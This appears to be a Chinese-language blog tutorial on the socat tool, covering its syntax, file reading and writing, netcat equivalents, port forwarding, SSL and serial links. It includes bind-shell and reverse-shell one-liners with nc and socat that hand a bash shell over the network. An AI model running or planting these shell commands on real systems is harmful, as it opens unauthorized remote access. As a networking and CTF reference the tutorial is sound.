socat是一個神器,姑且我現在理解它爲nc的加強版,尤其是socat有ssl的功能,這個就比較方便環境的搭建,最近要復現環境還是用到了這個
安裝
sudo apt-get install socat
或者去管網下載安裝包,無妨
基本語法
socat [options] <address> <address>
幾個常用的描述方式如下:
- STDIN,STDOUT :表示標準輸入輸出,可以就用一個橫槓代替
- /var/log/syslog : 也可以是任意路徑,如果是相對路徑要使用./,打開一個文件作爲數據流。
- TCP:: : 建立一個TCP連接作爲數據流,TCP也可以替換爲UDP
- TCP-LISTEN: : 建立TCP監聽端口,TCP也可以替換爲UDP
- EXEC: : 執行一個程序作爲數據流。
在這些描述後可以附加一些選項,用逗號隔開,如fork,reuseaddr,stdin,stdout,ctty等。
socat進行文件操作
讀取文件,注意這裏的路徑必須是絕對路徑
socat - /var/www/html/flag.php
寫入文件
echo "2333" | socat - /var/www/html/hello.html
以後做題的時候如果有條件也是一種文件的操作方法
socat的netcat功能模塊
遠程鏈接端口
nc localhost 80
socat - TCP:localhost:80
監聽端口
nc -lp localhost 233
socat TCP-LISTEN:233
正向shell
nc -lp localhost 700 -e /bin/bash
socat TCP-LISTEN:700 EXEC:/bin/bash
反彈shell
nc localhost 700 -e /bin/bash
socat tcp-connect:localhost:700 exec:'bash -li',pty,stderr,setsid,sigint,sane
確實一應俱全!
代理與轉發
將本地80端口轉發到遠程的80端口
socat TCP-LISTEN:80,fork TCP:www.domain.org:80
SSL連接
SSL服務器
需要首先生成證書文件
socat OPENSSL-LISTEN:443,cert=/cert.pem -
SSL客戶端
socat - OPENSSL:localhost:443
fork服務器
可以將一個使用標準輸入輸出的單進程程序變爲一個使用fork方法的多進程服務
socat TCP-LISTEN:1234,reuseaddr,fork EXEC:./helloworld
不同設備的通信
socat -d -d /dev/ttyUSB1,raw,nonblock,ignoreeof,cr,echo=0 TCP4-LISTEN:5555,reuseaddr
將終端轉發到COM1
socat READLINE,history=$HOME/.cmd_history /dev/ttyS0,raw,echo=0,crnl
大多數參考了前輩們的文章
http://brieflyx.me/2015/linux-tools/socat-introduction/
http://www.jianshu.com/p/a659924515f7